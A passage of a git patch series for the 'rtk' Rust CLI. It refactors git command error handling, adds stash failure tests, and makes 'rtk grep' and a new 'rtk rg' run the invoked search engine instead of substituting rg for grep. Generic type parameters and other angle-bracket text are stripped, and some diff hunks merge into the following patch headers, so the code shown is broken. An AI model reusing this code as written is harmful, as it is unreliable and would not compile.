CAP_LIST; let lines: Vec = stdout .lines() @@ -264,11 +259,6 @@ fn docker_images(_verbose: u8) -> Result { let lines: Vec<&str> = stdout.lines().collect(); let mut rtk = String::new(); - if lines.is_empty() { - timer.track("docker images", "rtk docker images", &raw, ""); - return Ok(0); - } - let mut total_size_mb: f64 = 0.0; for line in &lines { let parts: Vec<&str> = line.split('\t').collect(); From 5a344524e35bbcf2ef6e8132c74268429e035099 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Wed, 24 Jun 2026 20:37:04 +0200 Subject: [PATCH 243/257] test(bench): drop env --show-all (flag removed) --- scripts/benchmark.sh | 1 - 1 file changed, 1 deletion(-) diff --git a/scripts/benchmark.sh b/scripts/benchmark.sh index 0af7e44179..4eecf4f177 100755 --- a/scripts/benchmark.sh +++ b/scripts/benchmark.sh @@ -248,7 +248,6 @@ bench "deps" "cat Cargo.toml" "$RTK deps" section "env" bench "env" "env" "$RTK env" bench "env -f PATH" "env | grep PATH" "$RTK env -f PATH" -bench "env --show-all" "env" "$RTK env --show-all" # =================== # err From ee5a675f40cd493e4cbcc23573aaf6f59c6e6951 Mon Sep 17 00:00:00 2001 From: Husam Date: Fri, 26 Jun 2026 11:35:00 +0300 Subject: [PATCH 244/257] refactor(git): drop explanatory comment on status failure guard Per review (#2498): the guard is self-explanatory; remove the comment to avoid noise. --- src/cmds/git/git.rs | 6 ------ 1 file changed, 6 deletions(-) diff --git a/src/cmds/git/git.rs b/src/cmds/git/git.rs index a4b16f18ed..a2a232f314 100644 --- a/src/cmds/git/git.rs +++ b/src/cmds/git/git.rs @@ -862,12 +862,6 @@ fn run_status(args: &[String], verbose: u8, global_args: &[String]) -> Result Date: Fri, 26 Jun 2026 11:35:37 +0300 Subject: [PATCH 245/257] refactor(git): drop explanatory comment on worktree list failure guard Per review (#2498): self-explanatory guard; remove comment to avoid noise. --- src/cmds/git/git.rs | 3 --- 1 file changed, 3 deletions(-) diff --git a/src/cmds/git/git.rs b/src/cmds/git/git.rs index c727a783de..c4f1b8ceda 100644 --- a/src/cmds/git/git.rs +++ b/src/cmds/git/git.rs @@ -1714,9 +1714,6 @@ fn run_worktree(args: &[String], verbose: u8, global_args: &[String]) -> Result< cmd.args(["worktree", "list"]); let result = exec_capture(&mut cmd).context("Failed to run git worktree list")?; - // A failed `git worktree list` (e.g. run outside a repo) must propagate, not - // be flattened to empty output + exit 0. The has_action branch above already - // guards on success (#2497). if !result.success() { eprintln!("FAILED: git worktree list"); if !result.stderr.trim().is_empty() { From 8ef08cf6f054fa202d2f2469ee4bda1d1583a9cb Mon Sep 17 00:00:00 2001 From: Husam Date: Fri, 26 Jun 2026 12:04:25 +0300 Subject: [PATCH 246/257] refactor(git): trim verbose comments on commit outcome to a concise note --- src/cmds/git/git.rs | 12 ++---------- 1 file changed, 2 insertions(+), 10 deletions(-) diff --git a/src/cmds/git/git.rs b/src/cmds/git/git.rs index cbc7660a9e..94d7eaec6f 100644 --- a/src/cmds/git/git.rs +++ b/src/cmds/git/git.rs @@ -1030,9 +1030,6 @@ fn run_commit(args: &[String], verbose: u8, global_args: &[String]) -> Result { eprintln!("FAILED: git commit"); if !stderr.trim().is_empty() { @@ -1047,10 +1044,8 @@ fn run_commit(args: &[String], verbose: u8, global_args: &[String]) -> Result assert_eq!(code, 2), CommitOutcome::Ok(_) => panic!("hook abort must be a failure"), From a271b5e003fd2d7cd96a1a9b9a1195c61e7602b4 Mon Sep 17 00:00:00 2001 From: Husam Date: Fri, 26 Jun 2026 12:10:00 +0300 Subject: [PATCH 247/257] chore: re-trigger CI (transient crates.io download failure on windows runner) From c04dec1fe1596a008e266b753374ab330202adde Mon Sep 17 00:00:00 2001 From: Husam Date: Fri, 26 Jun 2026 13:16:24 +0300 Subject: [PATCH 248/257] test(git): cover exit-code propagation for git stash list/show failure develop already propagates the exit code for failed git stash list/show (via the empty-stdout guard). Add regression tests so the masking-failure behavior (#2497) can't creep back. --- src/cmds/git/git.rs | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/src/cmds/git/git.rs b/src/cmds/git/git.rs index 322a577307..03d2b2f8d5 100644 --- a/src/cmds/git/git.rs +++ b/src/cmds/git/git.rs @@ -2077,6 +2077,22 @@ mod tests { assert!(result.contains("stash@{1}: def5678 wip")); } + #[test] + fn test_run_stash_list_propagates_failure() { + let dir = tempfile::tempdir().expect("tempdir"); + let global = vec!["-C".to_string(), dir.path().to_string_lossy().into_owned()]; + let code = run_stash(Some("list"), &[], 0, &global).expect("run_stash list"); + assert_ne!(code, 0, "git stash list failure must propagate"); + } + + #[test] + fn test_run_stash_show_propagates_failure() { + let dir = tempfile::tempdir().expect("tempdir"); + let global = vec!["-C".to_string(), dir.path().to_string_lossy().into_owned()]; + let code = run_stash(Some("show"), &[], 0, &global).expect("run_stash show"); + assert_ne!(code, 0, "git stash show failure must propagate"); + } + #[test] fn test_filter_worktree_list() { let output = From adaf2b259c5ff33920254fa79cde4f2b18400348 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Fri, 26 Jun 2026 13:13:37 +0200 Subject: [PATCH 249/257] Update git.rs --- src/cmds/git/git.rs | 1 - 1 file changed, 1 deletion(-) diff --git a/src/cmds/git/git.rs b/src/cmds/git/git.rs index c4f1b8ceda..98f8a020d5 100644 --- a/src/cmds/git/git.rs +++ b/src/cmds/git/git.rs @@ -1715,7 +1715,6 @@ fn run_worktree(args: &[String], verbose: u8, global_args: &[String]) -> Result< let result = exec_capture(&mut cmd).context("Failed to run git worktree list")?; if !result.success() { - eprintln!("FAILED: git worktree list"); if !result.stderr.trim().is_empty() { eprintln!("{}", result.stderr); } From a9b2ef5b3c91081426df8ae05cc107b89b7a57bc Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Fri, 26 Jun 2026 13:16:32 +0200 Subject: [PATCH 250/257] Update git.rs --- src/cmds/git/git.rs | 10 ++-------- 1 file changed, 2 insertions(+), 8 deletions(-) diff --git a/src/cmds/git/git.rs b/src/cmds/git/git.rs index 94d7eaec6f..2e6d23a86d 100644 --- a/src/cmds/git/git.rs +++ b/src/cmds/git/git.rs @@ -1031,7 +1031,6 @@ fn run_commit(args: &[String], verbose: u8, global_args: &[String]) -> Result { - eprintln!("FAILED: git commit"); if !stderr.trim().is_empty() { eprint!("{}", stderr); } @@ -1047,19 +1046,14 @@ fn run_commit(args: &[String], verbose: u8, global_args: &[String]) -> Result" -/// line; any failure (including "nothing to commit", which git reports with a -/// non-zero exit) propagates the real exit code instead of masquerading as ok. +/// Classify a `git commit` result. fn classify_commit_outcome(success: bool, stdout: &str, exit_code: i32) -> CommitOutcome { if success { - // Extract commit hash from output like "[main abc1234] message" or - // "[main (root-commit) abc1234] message" (incl. localized variants). + // Extract commit hash from output let compact = stdout .lines() .next() From eafadcee0042411ab9d28339d865a626567a72b0 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Fri, 26 Jun 2026 11:32:51 +0200 Subject: [PATCH 251/257] fix(grep): run the invoked engine instead of substituting rg for grep - grep runs grep, rg runs rg: drop the substitution, forced --no-ignore-vcs, and BRE-to-rg translation - add `rtk rg` command (native ripgrep, sharing the same output filter) - split rewrite rule: grep to rtk grep, rg to rtk rg - record the agent's real command in tracking (was synthesized as "grep -rn") - emit nothing on a clean no-match (never-worse parity with the shared guard) - rename grep_cmd.rs to search.rs, now hosting both engines - cover engine faithfulness, ignore semantics, and rg savings with issue-referenced tests - benchmark the grep and rg paths --- scripts/benchmark.sh | 17 +- src/cmds/system/README.md | 2 +- src/cmds/system/{grep_cmd.rs => search.rs} | 567 ++++++++------------- src/discover/registry.rs | 2 +- src/discover/rules.rs | 13 +- src/main.rs | 22 +- tests/grep_compress_test.rs | 9 +- tests/guard_integration_test.rs | 4 +- tests/search_faithful_test.rs | 202 ++++++++ 9 files changed, 476 insertions(+), 362 deletions(-) rename src/cmds/system/{grep_cmd.rs => search.rs} (75%) create mode 100644 tests/search_faithful_test.rs diff --git a/scripts/benchmark.sh b/scripts/benchmark.sh index 4eecf4f177..18f3d437c9 100755 --- a/scripts/benchmark.sh +++ b/scripts/benchmark.sh @@ -207,10 +207,19 @@ bench "git show" "git show HEAD --stat 2>/dev/null || true" "$RTK git show HEAD # grep # =================== section "grep" -bench "grep fn" "grep -rn 'fn ' src/ || true" "$RTK grep 'fn ' src/" -bench "grep struct" "grep -rn 'struct ' src/ || true" "$RTK grep 'struct ' src/" -bench "grep -l 40" "grep -rn 'fn ' src/ || true" "$RTK grep 'fn ' src/ -l 40" -bench "grep -c" "grep -ron 'fn ' src/ || true" "$RTK grep 'fn ' src/ -c" +bench "grep fn" "grep -rn 'fn ' src/ || true" "$RTK grep -rn 'fn ' src/" +bench "grep struct" "grep -rn 'struct ' src/ || true" "$RTK grep -rn 'struct ' src/" +bench "grep -l 40" "grep -rn 'fn ' src/ || true" "$RTK grep -rn 'fn ' src/ -l 40" +bench "grep -c" "grep -ron 'fn ' src/ || true" "$RTK grep -rc 'fn ' src/" + +# =================== +# rg (native ripgrep, recursive by default, same output filter) +# =================== +section "rg" +bench "rg fn" "rg -n 'fn ' src/ || true" "$RTK rg 'fn ' src/" +bench "rg struct" "rg -n 'struct ' src/ || true" "$RTK rg 'struct ' src/" +bench "rg -l files" "rg -l 'fn ' src/ || true" "$RTK rg -l 'fn ' src/" +bench "rg -c count" "rg -c 'fn ' src/ || true" "$RTK rg -c 'fn ' src/" # =================== # json diff --git a/src/cmds/system/README.md b/src/cmds/system/README.md index 55de289127..ae475befbd 100644 --- a/src/cmds/system/README.md +++ b/src/cmds/system/README.md @@ -5,7 +5,7 @@ ## Specifics - `read.rs` uses `core/filter` for language-aware code stripping (FilterLevel: none/minimal/aggressive) -- `grep_cmd.rs` reads `core/config` for `limits.grep_max_results` and `limits.grep_max_per_file`. Format-altering flags (`-c`, `-l`, `-L`, `-o`, `-Z`) bypass RTK filtering and run raw. +- `search.rs` backs both `rtk grep` and `rtk rg`: it runs the invoked engine (never substituting one for the other) and groups its output, reading `core/config` for `limits.grep_max_results` and `limits.grep_max_per_file`. Format-altering flags (`-c`, `-l`, `-L`, `-o`, `-Z`) bypass RTK filtering and run raw. - `local_llm.rs` (`rtk smart`) uses `core/filter` for heuristic file summarization - `format_cmd.rs` is a cross-ecosystem dispatcher: auto-detects and routes to `prettier_cmd` or `ruff_cmd` (black is handled inline, not as a separate module) diff --git a/src/cmds/system/grep_cmd.rs b/src/cmds/system/search.rs similarity index 75% rename from src/cmds/system/grep_cmd.rs rename to src/cmds/system/search.rs index 2797349a41..8b087d44ff 100644 --- a/src/cmds/system/grep_cmd.rs +++ b/src/cmds/system/search.rs @@ -1,4 +1,10 @@ -//! Filters grep output by grouping matches by file. +//! Shared search-output filter for `rtk grep` and `rtk rg`. +//! +//! Runs the agent's exact engine (grep or rg) — never substituting one for the +//! other — and compresses its output by grouping matches by file, capping, and +//! teeing overflow. The engine differs only in which binary and parse flags are +//! used (see `Engine`); the compression is identical because both emit the same +//! `file:line:content` shape. use crate::core::stream::{exec_capture, CaptureResult}; use crate::core::tracking; @@ -71,12 +77,10 @@ enum ClusterResult { /// Parse the content of a short flag cluster (everything after the leading `-`). /// -/// Scans left-to-right: strips `r`/`R`, accumulates boolean flag letters, and +/// Scans left-to-right, accumulating boolean flag letters — including `r`/`R`, +/// which pass through to grep (recursion is the agent's choice, not RTK's) — and /// stops at the first value-taking flag (from `VALUE_FLAGS_SHORT` or `e`). -/// Everything after that flag char in the cluster is its inline value and is -/// returned verbatim — no `r`/`R` stripping is applied to it. -/// -/// This is the only place in the codebase that touches cluster bytes. +/// Everything after that flag char is its inline value, returned verbatim. fn parse_cluster(rest: &str) -> ClusterResult { let bytes = rest.as_bytes(); let mut raw_prefix = String::new(); @@ -85,11 +89,10 @@ fn parse_cluster(rest: &str) -> ClusterResult { let ch = bytes[j]; let is_e = ch == b'e'; if is_e || VALUE_FLAGS_SHORT.contains(&ch) { - let prefix = strip_r(&raw_prefix); - // Inline value = bytes after this char; returned verbatim (no stripping). let inline = std::str::from_utf8(&bytes[j + 1..]) .unwrap_or("") .to_string(); + let prefix = (!raw_prefix.is_empty()).then_some(raw_prefix); return ClusterResult::ValueTaking { prefix, flag: ch as char, @@ -99,96 +102,29 @@ fn parse_cluster(rest: &str) -> ClusterResult { raw_prefix.push(ch as char); j += 1; } - ClusterResult::Boolean(strip_r(&raw_prefix)) + ClusterResult::Boolean((!raw_prefix.is_empty()).then_some(raw_prefix)) } -/// Strip `r`/`R` from a string of flag letters. -/// Returns `None` when nothing remains after stripping. -/// -/// Only called on accumulated flag letters (never on inline values). -/// `strip_r("carrot")` → `Some("caot")` — this shows exactly why it must not -/// touch value bytes; that corruption was the original `-ecarrot` bug. -fn strip_r(flag_letters: &str) -> Option { - let s: String = flag_letters +/// Unique, descriptive tee slug for a file's overflow matches. `idx` disambiguates +/// files within one grep; the tee filename's epoch handles separate runs. +fn grep_slug(idx: usize, path: &str) -> String { + let cleaned: String = path .chars() - .filter(|&c| c != 'r' && c != 'R') + .map(|c| if c.is_ascii_alphanumeric() { c } else { '_' }) .collect(); - if s.is_empty() { - None - } else { - Some(s) - } + let tail = &cleaned[cleaned.len().saturating_sub(32)..]; + format!("grep_{}_{}", idx, tail) } -/// Drop `--recursive` (grep-ism); pass all other long flags through unchanged. -fn strip_recursive(arg: &str) -> Option { - match arg { - "--recursive" => None, - _ => Some(arg.to_string()), +/// Format a file's matches as `pathlinecontent`. Tee blocks use the +/// real (un-compacted) `path` so recovered lines stay openable. +fn match_block(path: &str, entries: &[(usize, bool, String)]) -> String { + let mut s = String::new(); + for (line_num, is_match, content) in entries { + let sep = if *is_match { ':' } else { '-' }; + s.push_str(&format!("{}{}{}{}{}\n", path, sep, line_num, sep, content)); } -} - -/// Ripgrep-only flags the grep fallback drops so grep doesn't abort (issue #2167). -const RG_ONLY_LONG: &[&str] = &[ - "--glob", - "--iglob", - "--type", - "--type-not", - "--type-add", - "--type-clear", - "--hidden", - "--no-ignore", - "--pcre2", - "--json", - "--stats", - "--sort", - "--sortr", - "--engine", - "--mmap", - "--no-mmap", - "--trim", - "--one-file-system", - "--max-columns", - "--max-depth", - "--max-filesize", - "--path-separator", - "--field-context-separator", - "--field-match-separator", - "--pre", - "--pre-glob", -]; - -fn strip_rg_only>(extra_args: &[T]) -> Vec<&str> { - let mut out = Vec::new(); - let mut skip_next = false; - for arg in extra_args { - let a = arg.as_ref(); - if skip_next { - skip_next = false; - continue; - } - let name = a.split('=').next().unwrap_or(a); - let rg_only = RG_ONLY_LONG.contains(&name) || a == "-g" || a == "-T"; - if rg_only { - let takes_value = a == "-g" || a == "-T" || VALUE_FLAGS_LONG.contains(&name); - if takes_value && !a.contains('=') { - skip_next = true; - } - continue; - } - out.push(a); - } - out -} - -fn has_shape_flag>(extra_args: &[T]) -> bool { - extra_args.iter().any(|arg| { - let name = arg.as_ref().split('=').next().unwrap_or(""); - matches!( - name, - "--column" | "--vimgrep" | "-b" | "--byte-offset" | "--null-data" - ) - }) + s } /// Extracts `(patterns, paths, flags)` from the raw trailing args. @@ -245,10 +181,7 @@ fn extract_pattern_path>(args: &[T]) -> (Vec, Vec, } continue; } - // Drop --recursive; pass everything else through. - if let Some(cleaned) = strip_recursive(arg) { - flags.push(cleaned); - } + flags.push(arg.to_string()); i += 1; continue; } @@ -324,126 +257,119 @@ fn unparsed_signal(stdout: &str) -> usize { .count() } -/// Run rg; fall back to system grep when rg can't run or rejects the invocation -/// (exit 2, no output) so any grep-ism (e.g. --include) still works (#2543). -/// #2167: if grep also aborts on a flag, retry it bare. -fn grep_capture>( - rg_base: &[&str], - grep_base: &[&str], - file_type: Option<&str>, +/// Run real grep so matches and the savings baseline match the agent's command; +/// rg is the fallback when grep is absent, rejects a flag, or `--type` is used. +/// The search engine the agent actually invoked. RTK runs this binary verbatim +/// and never substitutes one for the other. +#[derive(Clone, Copy)] +pub enum Engine { + Grep, + Rg, +} + +impl Engine { + fn bin(self) -> &'static str { + match self { + Engine::Grep => "grep", + Engine::Rg => "rg", + } + } + + pub fn label(self) -> &'static str { + self.bin() + } + + /// Parse aids only: line numbers + always-shown filename, NUL-separated so the + /// regroup is unambiguous (#1436), binary noise skipped. None of these change + /// which lines match. + fn parse_flags(self) -> &'static [&'static str] { + match self { + Engine::Grep => &["-n", "-H", "-I", "--null"], + Engine::Rg => &["-n", "--with-filename", "--null"], + } + } +} + +/// Runs the agent's exact engine + flags for the grouping path, appending only the +/// parse aids (see `Engine::parse_flags`). +fn engine_capture>( + engine: Engine, extra_args: &[T], patterns: &[String], paths: &[String], ) -> Result { - let mut rg_cmd = resolved_command("rg"); - rg_cmd.args(rg_base); - if let Some(ft) = file_type { - rg_cmd.arg("--type").arg(ft); + let mut cmd = resolved_command(engine.bin()); + cmd.args(engine.parse_flags()); + for a in extra_args { + cmd.arg(a.as_ref()); } - rg_cmd.args(extra_args.iter().map(|a| a.as_ref())); for p in patterns { - rg_cmd.args(["-e", &p.replace(r"\|", "|")]); - } - rg_cmd.arg("--"); - rg_cmd.args(paths); - - match exec_capture(&mut rg_cmd) { - Ok(r) if !(r.exit_code == 2 && r.stdout.is_empty()) => Ok(r), - _ => { - // --null not -Z: BSD grep -Z is --decompress (#2310); strip_rg_only (#2167). - let stripped = strip_rg_only(extra_args); - let result = run_grep_fallback(grep_base, file_type, &stripped, patterns, paths)?; - if result.exit_code == 2 && result.stdout.is_empty() && result.stderr.contains("option") { - // grep aborted on an rg-only flag that strip_rg_only missed; retry bare (#2167). - run_grep_fallback(grep_base, file_type, &[], patterns, paths) - } else { - Ok(result) - } - } + cmd.args(["-e", p]); } + cmd.arg("--"); + cmd.args(paths); + exec_capture(&mut cmd).context("search failed") } -fn run_grep_fallback( - grep_base: &[&str], - file_type: Option<&str>, - extra_args: &[&str], +/// Runs the engine with no injected flags at all (already-minimal output forms). +fn engine_raw>( + engine: Engine, + extra_args: &[T], patterns: &[String], paths: &[String], ) -> Result { - let mut grep_cmd = resolved_command("grep"); - grep_cmd.args(grep_base); - // file_type cannot be translated to grep syntax; silently skip. - let _ = file_type; - grep_cmd.args(extra_args); + let mut cmd = resolved_command(engine.bin()); + for a in extra_args { + cmd.arg(a.as_ref()); + } for p in patterns { - grep_cmd.args(["-e", p]); + cmd.args(["-e", p]); } - grep_cmd.arg("--"); - grep_cmd.args(paths); - exec_capture(&mut grep_cmd).context("grep/rg failed") + cmd.arg("--"); + cmd.args(paths); + exec_capture(&mut cmd).context("search failed") } #[allow(clippy::too_many_arguments)] fn passthrough>( timer: &tracking::TimedExecution, - base: &[&str], - grep_base: &[&str], - file_type: Option<&str>, + engine: Engine, extra_args: &[T], patterns: &[String], paths: &[String], - pattern_display: &str, - path_display: &str, + real_cmd: &str, ) -> Result { - let result = grep_capture(base, grep_base, file_type, extra_args, patterns, paths) - .context("grep/rg failed")?; + let result = engine_raw(engine, extra_args, patterns, paths)?; print!("{}", strip_ansi(&result.stdout)); if !result.stderr.is_empty() { eprint!("{}", result.stderr.trim()); } - let args_display = if extra_args.is_empty() { - format!("'{}' {}", pattern_display, path_display) - } else { - let joined: Vec<&str> = extra_args.iter().map(|a| a.as_ref()).collect(); - format!("{} '{}' {}", joined.join(" "), pattern_display, path_display) - }; - - timer.track_passthrough( - &format!("grep {}", args_display), - &format!("rtk grep {} (passthrough)", args_display), - ); + timer.track_passthrough(real_cmd, &format!("rtk {} (passthrough)", real_cmd)); Ok(result.exit_code) } pub fn run( + engine: Engine, max_line_len: usize, max_results: usize, context_only: bool, - file_type: Option<&str>, args: &[String], verbose: u8, ) -> Result { let timer = tracking::TimedExecution::start(); - // --version / --help: pass through to rg without filtering. + // --version / --help: pass through to the engine without filtering. // Note: Clap strips `--` before populating trailing_var_arg, so both // `rtk grep --version` and `rtk grep -- --version` land here identically. if args .iter() .any(|a| a == "--version" || a == "--help" || a == "-h") { - let mut rg_cmd = resolved_command("rg"); - rg_cmd.args(args); - let result = exec_capture(&mut rg_cmd) - .or_else(|_| { - // rg unavailable: fall back to system grep. - let mut grep_cmd = resolved_command("grep"); - grep_cmd.args(args); - exec_capture(&mut grep_cmd) - }) - .context("grep/rg failed")?; + let mut cmd = resolved_command(engine.bin()); + cmd.args(args); + let result = exec_capture(&mut cmd).context("search failed")?; print!("{}", result.stdout); if !result.stderr.is_empty() { eprint!("{}", result.stderr); @@ -453,6 +379,8 @@ pub fn run( // Re-insert `--` when clap's trailing_var_arg consumed it let args = args_utils::restore_double_dash(args); + let real_cmd = format!("{} {}", engine.label(), args.join(" ")); + let rtk_label = format!("rtk {}", engine.label()); let (patterns, paths, extra_args) = extract_pattern_path(&args); @@ -478,31 +406,12 @@ pub fn run( eprintln!("grep: '{}' in {}", pattern_display, path_display); } - // format/shape flags: native passthrough, no -0 NUL leak (#2333). - if has_format_flag(&extra_args) || has_shape_flag(&extra_args) { - return passthrough( - &timer, - &["--no-heading", "--no-ignore-vcs"], - &["-r"], - file_type, - &extra_args, - &patterns, - &paths, - &pattern_display, - &path_display, - ); + // format/shape flags (-c/-l/-o/...): already-minimal native output, passthrough. + if has_format_flag(&extra_args) { + return passthrough(&timer, engine, &extra_args, &patterns, &paths, &real_cmd); } - // GROUP path: -0 NUL-disambiguates file:line for the reparse (#1436). - let result = grep_capture( - &["-nH0", "--no-heading", "--no-ignore-vcs"], - &["-rnH", "--null"], - file_type, - &extra_args, - &patterns, - &paths, - ) - .context("grep/rg failed")?; + let result = engine_capture(engine, &extra_args, &patterns, &paths)?; let exit_code = result.exit_code; let raw_output = result.stdout.clone(); @@ -512,39 +421,21 @@ pub fn run( if !result.stderr.trim().is_empty() { eprintln!("{}", result.stderr.trim()); } - let msg = format!("grep failed with exit code {}", exit_code); - timer.track( - &format!("grep -rn '{}' {}", pattern_display, path_display), - "rtk grep", - &raw_output, - &msg, - ); + let msg = format!("search failed with exit code {}", exit_code); + timer.track(&real_cmd, &rtk_label, &raw_output, &msg); eprintln!("{}", msg); return Ok(exit_code); } - timer.track( - &format!("grep -rn '{}' {}", pattern_display, path_display), - "rtk grep", - &raw_output, - "", - ); + // grep/rg print nothing on a clean no-match; a "0 matches" line would + // exceed the real command's output, so emit nothing (never-worse). + timer.track(&real_cmd, &rtk_label, &raw_output, ""); return Ok(exit_code); } // Safety net: unparseable shape → passthrough verbatim, never silently drop (#2333). let signal = unparsed_signal(&raw_output); if signal > 0 { - return passthrough( - &timer, - &["-nH", "--no-heading", "--no-ignore-vcs"], - &["-rnH"], - file_type, - &extra_args, - &patterns, - &paths, - &pattern_display, - &path_display, - ); + return passthrough(&timer, engine, &extra_args, &patterns, &paths, &real_cmd); } let context_re = if context_only { @@ -587,28 +478,51 @@ pub fn run( files.sort_by_key(|(f, _)| *f); let per_file = config::limits().grep_max_per_file; - for (file, entries) in files { + let mut skipped_files = 0; + let mut skipped_block = String::new(); + for (idx, (file, entries)) in files.into_iter().enumerate() { if shown >= max_results { - break; + skipped_files += 1; + skipped_block.push_str(&match_block(file, entries)); + continue; } let file_display = compact_path(file); + let mut file_shown = 0; for (line_num, is_match, content) in entries.iter().take(per_file) { if shown >= max_results { break; } - if *is_match { - rtk_output.push_str(&format!("{}:{}:{}\n", file_display, line_num, content)); - } else { - rtk_output.push_str(&format!("{}-{}-{}\n", file_display, line_num, content)); - } + let sep = if *is_match { ':' } else { '-' }; + rtk_output.push_str(&format!( + "{}{}{}{}{}\n", + file_display, sep, line_num, sep, content + )); shown += 1; + file_shown += 1; + } + + let remaining = entries.len() - file_shown; + if remaining == 0 { + continue; + } + // Tee the file's full matches (real path) so the tail hint recovers them + // openably, skipping the lines already shown. + let full_block = match_block(file, entries); + match crate::core::tee::force_tee_tail_hint(&full_block, &grep_slug(idx, file), file_shown + 1) + { + Some(hint) => { + rtk_output.push_str(&format!(" +{} more in {} — {}\n", remaining, file_display, hint)) + } + None => rtk_output.push_str(&format!(" +{} more in {}\n", remaining, file_display)), } } - let total_lines: usize = by_file.values().map(|v| v.len()).sum(); - if total_lines > shown { - rtk_output.push_str(&format!("[+{} more]\n", total_lines - shown)); + if skipped_files > 0 { + let hint = crate::core::tee::force_tee_tail_hint(&skipped_block, "grep_skipped", 1) + .map(|h| format!(" — {}", h)) + .unwrap_or_default(); + rtk_output.push_str(&format!("+{} more files{}\n", skipped_files, hint)); } // Never-worse: show plain `file:line:content` (NUL `-0` -> `:`) if grouping didn't shrink it. @@ -620,12 +534,7 @@ pub fn run( }; print!("{}", output); - timer.track( - &format!("grep -rn '{}' {}", pattern_display, path_display), - "rtk grep", - &raw_output, - &output, - ); + timer.track(&real_cmd, &rtk_label, &raw_output, &output); Ok(exit_code) } @@ -658,23 +567,37 @@ fn parse_match_line(line: &str) -> Option<(String, usize, bool, &str)> { } fn has_format_flag>(extra_args: &[T]) -> bool { + // Minimal/shape forms the agent already chose; short flags scanned per-letter + // so clusters like -rl/-rq route through, plus their long forms. + const LONG: &[&str] = &[ + "--count", + "--count-matches", + "--files-with-matches", + "--files-without-match", + "--only-matching", + "--quiet", + "--silent", + "--byte-offset", + "--column", + "--vimgrep", + "--null", + "--null-data", + "--json", + "--passthru", + "--files", + ]; extra_args.iter().any(|arg| { - matches!( - arg.as_ref(), - "-c" | "--count" - | "--count-matches" - | "-l" - | "--files-with-matches" - | "-L" - | "--files-without-match" - | "-o" - | "--only-matching" - | "-Z" - | "--null" - | "--json" - | "--passthru" - | "--files" - ) + let a = arg.as_ref(); + if a.starts_with("--") { + LONG.contains(&a.split('=').next().unwrap_or(a)) + } else if let Some(letters) = a.strip_prefix('-').filter(|s| !s.is_empty()) { + // -c count, -l/-L lists, -o only-matching, -q quiet, -b byte-offset, -Z/-z NUL + letters + .chars() + .any(|ch| matches!(ch, 'c' | 'l' | 'L' | 'o' | 'q' | 'b' | 'Z' | 'z')) + } else { + false + } }) } @@ -796,14 +719,6 @@ mod tests { assert!(!cleaned.is_empty()); } - // Fix: BRE \| alternation is translated to PCRE | for rg - #[test] - fn test_bre_alternation_translated() { - let pattern = r"fn foo\|pub.*bar"; - let rg_pattern = pattern.replace(r"\|", "|"); - assert_eq!(rg_pattern, "fn foo|pub.*bar"); - } - // --- parse_cluster --- fn vt(prefix: Option<&str>, flag: char, inline: &str) -> ClusterResult { @@ -816,17 +731,26 @@ mod tests { #[test] fn test_parse_cluster_boolean_only() { - // Pure boolean clusters: r/R stripped, remainder emitted - assert_eq!(parse_cluster("r"), ClusterResult::Boolean(None)); - assert_eq!(parse_cluster("R"), ClusterResult::Boolean(None)); - assert_eq!(parse_cluster("rR"), ClusterResult::Boolean(None)); + // Pure boolean clusters: r/R kept and passed through to grep + assert_eq!( + parse_cluster("r"), + ClusterResult::Boolean(Some("r".to_string())) + ); + assert_eq!( + parse_cluster("R"), + ClusterResult::Boolean(Some("R".to_string())) + ); + assert_eq!( + parse_cluster("rR"), + ClusterResult::Boolean(Some("rR".to_string())) + ); assert_eq!( parse_cluster("rn"), - ClusterResult::Boolean(Some("n".to_string())) + ClusterResult::Boolean(Some("rn".to_string())) ); assert_eq!( parse_cluster("Rni"), - ClusterResult::Boolean(Some("ni".to_string())) + ClusterResult::Boolean(Some("Rni".to_string())) ); assert_eq!( parse_cluster("n"), @@ -872,14 +796,14 @@ mod tests { #[test] fn test_parse_cluster_rne() { - // -rne: r stripped, n in boolean prefix, e is value-taking (empty inline) - assert_eq!(parse_cluster("rne"), vt(Some("n"), 'e', "")); + // r/R pass through; e is value-taking (empty inline) + assert_eq!(parse_cluster("rne"), vt(Some("rn"), 'e', "")); } #[test] fn test_parse_cluster_r_a() { - // -rA: r stripped, A is value-taking (empty inline → consume next token) - assert_eq!(parse_cluster("rA"), vt(None, 'A', "")); + // r passes through in the prefix; A is value-taking + assert_eq!(parse_cluster("rA"), vt(Some("r"), 'A', "")); } #[test] @@ -906,30 +830,6 @@ mod tests { assert_eq!(parse_cluster("M120"), vt(None, 'M', "120")); } - // --- strip_r --- - - #[test] - fn test_strip_r() { - assert_eq!(strip_r("r"), None); - assert_eq!(strip_r("R"), None); - assert_eq!(strip_r("rR"), None); - assert_eq!(strip_r(""), None); - assert_eq!(strip_r("rn"), Some("n".to_string())); - assert_eq!(strip_r("Rni"), Some("ni".to_string())); - assert_eq!(strip_r("i"), Some("i".to_string())); - // Shows why it must only be called on flag letters, not value bytes: - assert_eq!(strip_r("carrot"), Some("caot".to_string())); - } - - // --- strip_recursive --- - - #[test] - fn test_strip_recursive() { - assert_eq!(strip_recursive("--recursive"), None); - assert_eq!(strip_recursive("--glob"), Some("--glob".to_string())); - assert_eq!(strip_recursive("--type"), Some("--type".to_string())); - } - // --- extract_pattern_path --- #[test] @@ -958,30 +858,30 @@ mod tests { } #[test] - fn test_extract_cluster_strip_r() { - // -rn: r stripped, n forwarded (not leaked to rg as --replace value) + fn test_extract_cluster_keeps_r() { + // -rn: r kept, passed straight to grep let (patterns, paths, flags) = extract_pattern_path(&["-rn", "foo", "src"]); assert_eq!(patterns, vec!["foo"]); assert_eq!(paths, vec!["src"]); - assert_eq!(flags, vec!["-n"]); + assert_eq!(flags, vec!["-rn"]); } #[test] fn test_extract_cluster_ending_in_e() { - // -rne PATTERN: r stripped, n in prefix, e consumes PATTERN as pattern + // -rne PATTERN: rn kept, e consumes PATTERN as the pattern let (patterns, paths, flags) = extract_pattern_path(&["-rne", "PATTERN", "src"]); assert_eq!(patterns, vec!["PATTERN"]); assert_eq!(paths, vec!["src"]); - assert_eq!(flags, vec!["-n"]); + assert_eq!(flags, vec!["-rn"]); } #[test] fn test_extract_cluster_ending_in_value_flag() { - // -rA 2: r stripped, A consumes 2 as context value + // -rA 2: r kept as its own flag, A consumes 